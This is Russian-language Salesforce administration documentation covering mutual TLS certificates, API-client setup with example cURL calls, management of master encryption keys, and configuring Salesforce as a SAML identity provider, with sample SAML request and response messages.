Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Personal Edition, Unlimited
Edition, Developer Edition
и Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Созданный сертификат взаимной проверки подлинности позволяет организации
использовать взаимную проверку подлинности.

Прим.: При отсутствии данного компонента на странице «Управление
сертификатами и ключами» обратитесь в компанию Salesforce.

Чтобы загрузить сертификат, выполните указанные ниже действия.

1. Нажмите кнопку «Загрузить подписанный сертификат».

2. Введите имя и метку сертификата, а затем нажмите кнопку «Выбратьфайл».

3. Чтобы завершить процесс загрузки, нажмите кнопку «Сохранить».

4. Включите полномочие «Применить взаимную проверку подлинности SSL/TLS» для
пользователя API Only. Пользователь API Only настраивает API-клиентдляподключения
к порту 8443 с целью предоставления подписанного сертификата клиента.

Обратите внимание, что при подключении к порту 8443 сертификат клиента должен
содержать любые промежуточные сертификаты в цепочке сертификатов.

Цепочка сертификатов — этоиерархическийпорядоксертификатов, прикоторомодин
сертификатвыдаетиподписываетдругойсертификат, расположенныйнижепоиерархии.
Загрузите цепочку сертификатов как один подписываемый центром сертификации
сертификат в кодировке PEM, представляющий собой объединенную цепочку
сертификатов. Загруженная цепочка сертификатов должна содержать промежуточные
сертификаты в указанном ниже порядке.

• Начните с сертификата сервера или клиента, а затем добавьте соответствующий сертификат подписи.

• При наличии нескольких промежуточных сертификатов между сертификатом сервера или клиента и корневым
сертификатом добавьте каждый сертификат как сертификат, использованный для подписания предыдущего
сертификата.

• Корневой сертификат является необязательным, поэтому, как правило, не добавляется.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Настройка API-клиента для использования взаимной проверки подлинности
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Настройка API-клиента для использования взаимной проверки подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Personal Edition, Unlimited
Edition, Developer Edition
и Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Для применения взаимной
проверки подлинности
стандартных подключений
SSL/TLS для порта 8443:

(назначается пользователям
с полномочием
«Пользователь API Only»)

• «Применить взаимную
проверку подлинности
SSL/TLS»

Для доступа к Salesforce
только посредством
Salesforce API:
• «Пользователь API Only»

Рекомендуем применить взаимную проверку подлинности SSL/TLS.

Преждечемнастроить API-клиент, выполнитедействия, описанныевразделе «Настройка
сертификатов взаимной проверки подлинности».

1. Выполните вход в службу Salesforce посредством порта 8443. Укажите:

a. Регистрационные данные

b. Сведения о подписанном сертификате

Например, конфигурация, использующая cURL, может выглядеть примерно
следующим образом (где @login.txt заменяется сообщением SOAP входа с
регистрационными данными, а fullcert.pem:xxxxxx заменяется сведениями о
сертификате):

curl -k https://na1.salesforce.com:8443/services/Soap/u/31.0 -H "Content-Type: text/xml;
charset=UTF-8" -H "SOAPAction: login" -d @login.txt -v -E fullcert.pem:xxxxxx

2. После получения кода сеанса выполните другие действия (например, запросы). Например:

curl -k https://na1.salesforce.com:8443/services/Soap/u/31.0 -H "Content-Type: text/xml;
charset=UTF-8" -H "SOAPAction: example" -d @accountQuery.xml -v -E fullcert.pem:xxxxxx
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где @accountQuery.xml заменяетсяименемфайла, содержащимсообщение SOAP запроса с кодомсеансаизответа входа.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Настройка сертификатов взаимной проверки подлинности

Управление основными ключами шифрования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Прим.: Данныесведенияотносятся толькокфункцииклассическогошифрования
и не относятся к функциишифрования платформы.

Поля, шифруемые посредством зашифрованных настраиваемых полей (например,
номер социального обеспечения или номер кредитной карты), используют основной
ключшифрования дляшифрования данных. Данныйключназначается автоматически
привключениизашифрованныхполейдляорганизации. Управлениеосновнымключом
выполняется на основе текущих требований безопасности и нормативных требований
организации. Ниже перечислены доступные действия над основными ключами
шифрования.

• Архивирование текущего ключа и создание нового ключа

• Экспорт текущего ключа после архивирования

• Удаление текущего ключа

• Импорт текущего ключа после удаления

Архивирование и создание ключей

Чтобы заархивировать текущий ключ и создать ключ, выполните указанные ниже
действия.

1. Введите «Управление ключами и сертификатами» в поле «Быстрый поиск» в меню «Настройка», затем выберите
«Управление ключами и сертификатами».

2. Нажмите кнопку «Архивировать текущий ключ и создать ключ».

3. При этом система отображает предупреждение об изменении ключей. Нажмите кнопку «OK».

4. Созданному ключу назначается следующий порядковый номер, а сам ключ активируется.

Новый ключ используется для шифрования всех новых данных. Архивный ключ используется текущими данными до
их изменения и сохранения. Затем данные шифруются посредством нового ключа.

Архивный ключ может быть экспортирован или удален.

Экспорт ключей

Резервная копия ключей может быть экспортирована для хранения в безопасном месте. Рекомендуем экспортировать
копию любого ключа, подлежащего удалению.

Экспорт создает текстовыйфайл посредством зашифрованного ключа. Позже ключ может быть вновь импортирован
в организацию пользователя.

Щелкните ссылку «Экспорт» напротив нужного ключа.
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Удаление ключей

Прежде чем удалить ключ, убедитесь в отсутствии данных, зашифрованных посредством данного ключа. Данные,
зашифрованные посредством удаленного ключа, становятся недоступными. Ключ, экспортированный до удаления,
может быть импортирован обратно в организацию.

Чтобы удалить ключ, щелкните ссылку «Удалить» напротив нужного ключа.

Отображается дата удаления ключа.

Импорт ключей

При наличии данных, зашифрованных посредством удаленного ключа, система позволяет обратно импортировать
экспортированный ключ в организацию. Любые недоступные данные становятся вновь доступными.

Щелкните ссылку «Импорт» напротив нужного ключа.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Редактирование сертификатов и пар ключей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Созданный сертификат Salesforce (включая сертификаты взаимной проверки
подлинности) позволяет изменять только поля «Метка» и «Уникальное имя». Тип,
размер ключаи другие свойства немогут быть изменены. Сертификат и ключинемогут
быть восстановлены при редактировании сертификата Salesforce.

Внимание: Apexи Force.com Web Services APIиспользуютполе «Уникальное имя»
для доступа к сертификату. Изменение значения поля «Уникальное имя» может
инициировать нарушение кода.

Чтобы изменить сертификат Salesforce, выполните указанные ниже действия.

1. Введите «Управление ключами и сертификатами» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Управление ключами и сертификатами».

2. Щелкните ссылку «Правка» напротив имени нужного сертификата Salesforce.

3. Внесите необходимые изменения и нажмите кнопку «Сохранить».

Чтобы удалить сертификат, щелкните ссылку «Удал.». Сертификат, используемый
конфигурацией поставщика удостоверений, не может быть удален.

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce
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Просмотр сертификатов и пар ключей Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сертификатами:
• «Настройка

приложения»

Чтобы просмотреть подробные сведения о сертификате Salesforce, введите «Управление
ключами и сертификатами» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Управление ключами и сертификатами» ищелкните по имени или
сертификату.

Ниже перечислены действия, доступные на странице сведений о сертификате.

• Чтобыизменитьметкуилиуникальноеимясертификата, нажмитекнопку «Правка».

• Чтобы удалить сертификат, нажмите кнопку «Удалить».

• Чтобызагрузить сертификат, закодированныйв Base-64, нажмитекнопку «Загрузить
сертификат». Данная кнопка доступна только для активных сертификатов. Прежде
чемзагрузитьилииспользоватьсертификат, подписываемыйцентромсертификации,
рекомендуем сначала загрузить подписанный сертификат.

• Чтобы загрузитьподписанныйсертификат, нажмите кнопку «Загрузитьзапросна
подписание сертификата» на странице сведений о сертификате, подписываемом
центром сертификации.

• Чтобызагрузитьсертификат, подписываемыйцентромсертификации, илиповторно
загрузить выбранный сертификат, нажмите кнопку «Загрузить подписанный
сертификат».

СМ. ТАКЖЕ:

Общие сведения о сертификатах и ключах Salesforce

Настройка сертификатов взаимной проверки подлинности
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Поставщики удостоверений и поставщики услуг

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Поставщик удостоверений — это проверенный поставщик, позволяющий использовать
функцию единой регистрации для доступа к другим веб-сайтам. Поставщик услуг — это
веб-сайт, используемый для размещения приложений. Можно использовать Salesforce
вкачествепоставщикаудостоверенийиопределитьодногоилинесколькихпоставщиков
услуг. Ваши пользователи затем при этом получат возможность доступа к другим
приложениям напрямую из Salesforce при помощифункции единого входа. Это очень
удобно, посколькувместонеобходимостизапоминатьмножествопаролейимдостаточно
запомнить только один. Более того, приложения могут быть добавлены в организацию
Salesforce в виде вкладок, поэтомупользователямнепридется постояннопереключаться
между программами.

Прежде чем включить систему Salesforce в качестве поставщика удостоверений,
рекомендуем настроить домен.

Система Salesforce может быть включена в качестве поставщика удостоверений только
при наличии сертификата и криптографической пары Salesforce, подписываемых
внешнимцентромсертификацииилисамостоятельно. Впротивномслучае сертификат
и криптографическаяпара Salesforce создаются автоматическипри включении системы
Salesforce в качествепоставщика удостоверений. Принеобходимостивыберите готовый
сертификат или создайте собственный.

Прииспользованиивкачествепоставщика удостоверенийсистема Salesforceприменяет
стандарт SAML 2.0, необходимый для единой регистрации, и создает утверждения SAML.

Чтобы просмотреть ошибки входа пользователей в приложения поставщика услуг,
воспользуйтесь журналом событий поставщика удостоверений.

Использование поставщиков удостоверений и поставщиков услуг
Система Salesforce поддерживает:

• Вход, инициированный поставщиком удостоверений (система Salesforce выполняет вход в поставщика услуг при
инициализации конечного пользователя)

• Вход, инициированный поставщиком услуг (поставщик услуг отправляет запрос в систему Salesforce на проверку
подлинности пользователя при инициализации конечного пользователя)

Ниже описан типичныйпроцесс входа в поставщика услуг при использовании системы Salesforce в качестве поставщика
удостоверений.
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1. Пользователь пытается получить доступ к поставщику услуг, заданному в системе Salesforce.

2. Система Salesforce отправляет ответ SAML поставщику услуг.

3. Поставщик услуг идентифицирует пользователя и проверяет подлинность сертификата.

4. Идентифицированный пользователь выполняет вход в поставщика услуг.

Ниже описан типичный процесс инициирования входа поставщиком услуг и использования системы Salesforce для
идентификации пользователя.
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1. Поставщикуслуготправляетдействительныйзапрос SAML. Конечная точка создается автоматическиприопределении
поставщика услуг — «Конечная точка POST, инициированная поставщиком услуг».

2. Система Salesforce идентифицирует пользователя, добавленного в запрос SAML.

<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0"
IssueInstant="2010-05-24T22:57:19Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
ProviderName="google.com" IsPassive="false"
AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs">
<saml:Issuer>google.com</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="true"
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/>

</samlp:AuthnRequest>

Сертификат, добавленный как часть определения, проверяется системой Salesforce на подлинность.

Прим.: Еслисертификат включается в определениепоставщика услуг, а запрос SAML сертификатане содержит,
запрос не выполняется. Пользователь не выполнил вход припомощи Salesforce. Если определение не содержит
сертификата, то запрос, содержащий сигнатуру, выполняется при корректной идентификации пользователя.

3. Пользователю предлагается выполнить вход в систему Salesforce.
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4. Система Salesforce отправляет ответ SAML поставщику услуг.

5. Поставщикуслугпроверяетподлинностьответа SAML, отправленного системой Salesforce. Пользователь, прошедший
проверкуподлинности, входит в системупоставщика услуг. Кроме того, пользователь также выполнил вход в систему
Salesforce.

Важное замечание: Система Salesforce не поддерживает функцию автоматического выхода пользователя из
системы Salesforce при выходе из поставщика услуг.

Нижеприведенпримерответа SAML, отправленногосистемойSalesforce. Этаинформациядолжнабытьизвестнапоставщику
услуг.

<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/
?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"
ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"
InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYL
osBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8
CIiUOY31YBdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4b
opRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ"

IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
>identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

−
<ds:Signature>

−
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

−
<ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091">

−
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

−
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>

−
<ds:SignatureValue>

eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5
xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B
sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP
hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ
2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g==
</ds:SignatureValue>

−
<ds:KeyInfo>

−
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<ds:X509Data>

−
<ds:X509Certificate>==
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>

−
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

−
<saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092"
IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0">
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

−
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID>

−
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z"
Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/>
</saml:SubjectConfirmation>
</saml:Subject>

−
<saml:Conditions NotBefore="2010-11-23T01:46:41.093Z"
NotOnOrAfter="2010-11-23T01:51:41.093Z">

−
<saml:AudienceRestriction>
<saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
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</saml:Conditions>

−
<saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z">

−
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

−
<saml:AttributeStatement>

−
<saml:Attribute Name="userId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue>
</saml:Attribute>

−
<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

СМ. ТАКЖЕ:

Включение Salesforce в качестве поставщика удостоверений

Просмотр сведений о поставщике удостоверений

Предварительные требования для определения поставщиков услуг

Определение поставщиков услуг как связанных приложений SAML

Сопоставление пользователей Salesforce с пользователями приложения

Просмотр сведений о поставщике услуг

Включение поставщиков удостоверений и определение поставщиков услуг для порталов и сайтов

Примеры использования поставщиков удостоверений и поставщиков услуг
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Включение Salesforce в качестве поставщика удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Чтобы включить систему Salesforce в качестве поставщика удостоверений, выполните
указанные ниже действия.

1. Настройте домен посредством функции «Мой домен» и разверните его для всех
пользователей.

2. Введите строку «Поставщик удостоверений» в поле «Быстрый поиск», выберите
параметр «Поставщик удостоверений» ищелкните «Включить поставщика
удостоверений».

3. По умолчанию поставщик удостоверений Salesforce использует автоматически
созданный сертификат с алгоритмом подписи SHA-256, подписываемый
самостоятельно. Впротивномслучае выберитенужныйсертификатдлябезопасного
подключения к другим службам.

Чтобы использовать сертификат, подписываемый центром сертификации, взамен
сертификата, подписываемогосамостоятельно, выполнитеуказанныенижедействия.

a. Создайте и импортируйте новый сертификат, подписываемый центром
сертификации. Дополнительную информацию см. в разделе «Общие сведения
о сертификатах и ключах Salesforce».

b. Введите строку «Поставщик удостоверений» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Поставщик удостоверений».

c. Нажмите кнопку «Правка» и выберите сертификат, подписываемый центром
сертификации.

d. Нажмите кнопку «Сохранить».

После включения системы Salesforce в качестве поставщика удостоверений рекомендуем определить поставщиков услуг
путем создания связанных приложений (введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения»).

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг

Создание сертификатов и пар ключей

Создание связанного приложения
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Просмотр сведений о поставщике удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Послеподключенияпоставщикаудостоверенийдляорганизацииможнопросматривать
сведения путем ввода строки «Поставщик удостоверений» в поле «Быстрый поиск» в
меню «Настройка» привыборепункта «Поставщикудостоверений». Данныесведения
(например, поле «Отправитель») могут потребоваться поставщику услуг.

Ниже перечислены действия, доступные на данной странице.

• Чтобы изменить сертификат, связанный с поставщиком удостоверений, нажмите
кнопку «Правка».

Внимание: Изменение сертификата может инициировать отмену доступа к
внешним приложениям. Возможно, проверка сведений о новом сертификате
потребует обновления всех текущих приложений.

• Чтобы отключить поставщика удостоверений, нажмите кнопку «Отключить».

Внимание: Отключение поставщика удостоверений блокирует доступ
пользователей к внешним приложениям.

• Чтобы загрузить сертификат, связанный с поставщиком удостоверений, нажмите
кнопку «Загрузить сертификат». Данные сведения могут использоваться
поставщиком услуг для подключения к системе Salesforce.

• Чтобы загрузить метаданные, связанные с поставщиком удостоверений, нажмите
кнопку «Загрузить метаданные». Данные сведения могут использоваться
поставщиком услуг для подключения к системе Salesforce.

• Чтобыпросмотреть URL-адреса сведенийопоставщикепроверкиподлинности SAML
длянастраиваемогодоменаикаждогосообщества, воспользуйтесьразделом «Конечныеточкиобнаруженияметаданных
SAML». Данные URL-адреса могут использоваться поставщиком услуг для настройки единой регистрации с целью
подключения к системе Salesforce.

– Salesforce Identity: URL-адрес метаданных поставщика удостоверений для настраиваемого домена в функции «Мой
домен».

– Имя сообщества  Community Identity: URL-адрес метаданных поставщика удостоверений для названного сообщества.

• Чтобы изменить определение, щелкните ссылку «Правка» напротив имени текущего поставщика услуг в разделе
«Поставщики услуг». Чтобыдобавить или удалить профили, которымпредоставляется доступ к данномупоставщику
услуг, щелкните ссылку «Профили». Чтобы удалить поставщика услуг, щелкните ссылку «Удал.».

Прим.: Чтобы определить нового поставщика услуг, введите строку «Приложения» в поле «Быстрый поиск» в
меню «Настройка», выберите пункт «Приложения» и создайте новое связанное приложение с поддержкой
SAML.

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг
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Предварительные требования для определения поставщиков услуг

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Перед определением поставщика услуг в Salesforce выполните следующиешаги для
установкипоставщика удостоверенийипредоставьте сведенияо конфигурациивашему
поставщику.

1. Включите систему Salesforce в качестве поставщика удостоверений.

2. Сообщите поставщику услуг о конфигурации системы Salesforce в качестве
поставщика удостоверений. Данные сведения доступны в качестве метаданных,
которые могут быть загружены и переданы поставщику услуг. Введите строку
«Поставщик удостоверений» в поле «Быстрый поиск» меню «Настройка» и выберите
«Поставщик удостоверений», «Загрузить метаданные».

Если поставщик услуг поддерживает вместо метаданных сертификаты, можно
загрузить сертификат. Введите строку «Поставщик удостоверений» в поле «Быстрый
поиск» меню «Настройка», выберите параметр «Поставщик удостоверений» и
щелкните «Загрузить сертификат».

3. Получите указанные ниже данные от поставщика услуг.

• URL-адрес ACS

• Код объекта

• Тип темы: определяет соответствие темы ответа SAML от системы Salesforce (в
качестве поставщика удостоверений) и кода интегрирования или имени
пользователя Salesforce

• Сертификатбезопасности: требуется толькодлявходапоставщикауслуг в систему
Salesforce и подписывания запросов SAML

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг
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Определение поставщиков услуг как связанных приложений SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

1. Выполните предварительные требования.

2. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

3. Нажмите кнопку «Создать» в разделе «Связанные приложения».

4. Заполните обязательные поля в разделе «Основные сведения».

5. Установите флажок «Включить SAML» в области «Параметры веб-приложения» и
заполните указанные ниже поля.

Код объекта
Данное значение предоставляется поставщиком услуг. Каждый код объекта,
используемый организацией, должен быть уникальным. Если поставщик услуг
используется для доступа к нескольким приложениям, рекомендуем определить
поставщика услуг толькоодинраз, а затемиспользоватьпараметр RelayState
длядобавлениязначений URL-адреса, используемыхдляпереадресациивошедшего
пользователя в нужное приложение.

URL-адрес ACS
URL-адрес для обслуживания пользователя утверждения, получаемый от
поставщика услуг SAML.

Тип темы
Выбор поля, определяющего подлинность пользователя для приложения.
Доступные значения: имя пользователя, код интегрирования, код пользователя,
настраиваемый атрибут или алгоритмически вычисляемый постоянный код.
Настраиваемым атрибутом может быть любое настраиваемое поле, добавленное в объект «Пользователь», при
условии, чтооносоответствуетодномуизследующихтиповданных: «Эл. почта», «Текст», «URL-адрес» или «Формула»
(с типом возврата «Текст»). Если поле «Тип темы» содержит значение «Настраиваемый атрибут», то система
Salesforce отображает поле «Настраиваемый атрибут» со списком доступных настраиваемых полей объекта
«Пользователь».

Формат кода имени
Выбор атрибута «Формат», отправленного в сообщениях SAML. По умолчанию задано значение «Не указано». В
зависимостиотпоставщикауслуг SAML, данноеполеможет содержать адрес эл. почты, постоянныйиливременный
код.

Отправитель
По умолчанию используется стандартный отправитель для поставщика удостоверений (функция «Мой домен»
организации). При необходимости укажите другое значение, требуемое поставщиком услуг SAML.

6. При необходимости заполните поля ниже.

Начальный URL-адрес
Данное поле переадресовывает пользователей, запустивших приложение, в конкретную область. Начальный
URL-адресможетбыть абсолютным (например, https://na1.salesforce.com/001/o) илисоответствовать
ссылке на имя приложения (например, https://customer.goodApp.com для GoodApp). Заполнение поля
«Начальный URL-адрес» инициирует добавление приложения в меню приложений Force.com и средство запуска
приложений.
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Проверить подписи запроса
Приналичии сертификата безопасности, предоставленногопоставщиком услуг, выберите «Проверить подписи
запроса». Найдите сертификат в системе. Данноедействие являетсяобязательнымприиспользованиипоставщика
услуг для входа в систему Salesforce и подписании поставщиком услуг запросов SAML.

Важное замечание: При наличии загруженного сертификата все запросы SAML должны быть подписаны.
При отсутствии загруженного сертификата принимаются все запросы SAML.

Зашифровать ответ SAML
Чтобызагрузитьсертификативыбратьметодшифрованияутверждения, выберите «Зашифровать ответ SAML».
Допустимыезначенияалгоритмашифрования: «AES–128»  (ключдлиною 128 бит), «AES–256»  (ключдлиною
256 бит) и «Triple-DES»  (тройной алгоритмшифрования данных).

7. Нажмите кнопку «Сохранить».

Чтобы авторизовать пользователей для данного приложения SAML, выполните указанные ниже действия.

1. Введитестроку «Связанные приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберитепараметруправления
связанными приложениями.

2. Щелкните по имени приложения.

3. Выберите нужные профили и/или наборы полномочий.

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг

Настраиваемые поля

Сопоставление пользователей Salesforce с пользователями приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Если поле определения поставщика услуг «Тип темы» содержит значение «Код
интегрирования», то пользователь Salesforce должен быть соотнесен с именем
пользователя, которое используется для входа в поставщика услуг.

Чтобы соотнести пользователя Salesforce с пользователем приложения, выполните
указанные ниже действия.

1. В меню «Настройка» введите «Пользователи» в поле «Быстрый поиск», затем
выберите «Пользователи». Щелкните «Изменить» для каждого пользователя,
которого нужно сопоставить.

2. Введитенужноеимяпользователявполе «Код интегрирования» раздела «Сведения
о единой регистрации».

3. Нажмите кнопку «Сохранить».

Совет: Дляобновлениябольшогоколичествапрофилейилинаборовполномочий
рекомендуем использовать интерфейс SOAP API. См. Руководство разработчика SOAP
API.

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг
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Просмотр сведений о поставщике услуг

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

Чтобы просмотреть сведения о поставщике услуг, заданном для организации путем
созданиясвязанногоприложения SAML, введите «Связанные приложения» вполе «Быстрый
поиск» в меню «Настройка», а затем выберите «Связанныеприложения» ищелкните
по имени нужного приложения. При необходимости данные (например, «Конечная
точка POST, инициированная поставщиком услуг» и «Конечная точка
переадресации, инициированная поставщиком услуг») могут быть переданы
поставщикам услуг.

Ниже перечислены действия, доступные на данной странице.

• Чтобыизменитьзначенияопределенияпоставщикауслуг, нажмитекнопку«Правка».

• Чтобы удалить определение поставщика услуг, нажмите кнопку «Удалить».

Внимание: Удаление определения инициирует отмену доступа к
соответствующему поставщику услуг.

• Чтобы изменить профили, которым предоставляется доступ к данному поставщику
услуг, нажмите кнопку «Доступ профиля».

СМ. ТАКЖЕ:

Поставщики удостоверений и поставщики услуг

Включение поставщиков удостоверений и определение поставщиков услуг для порталов и сайтов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения и
изменения поставщиков
удостоверений и
поставщиков услуг:
• «Настройка

приложения»

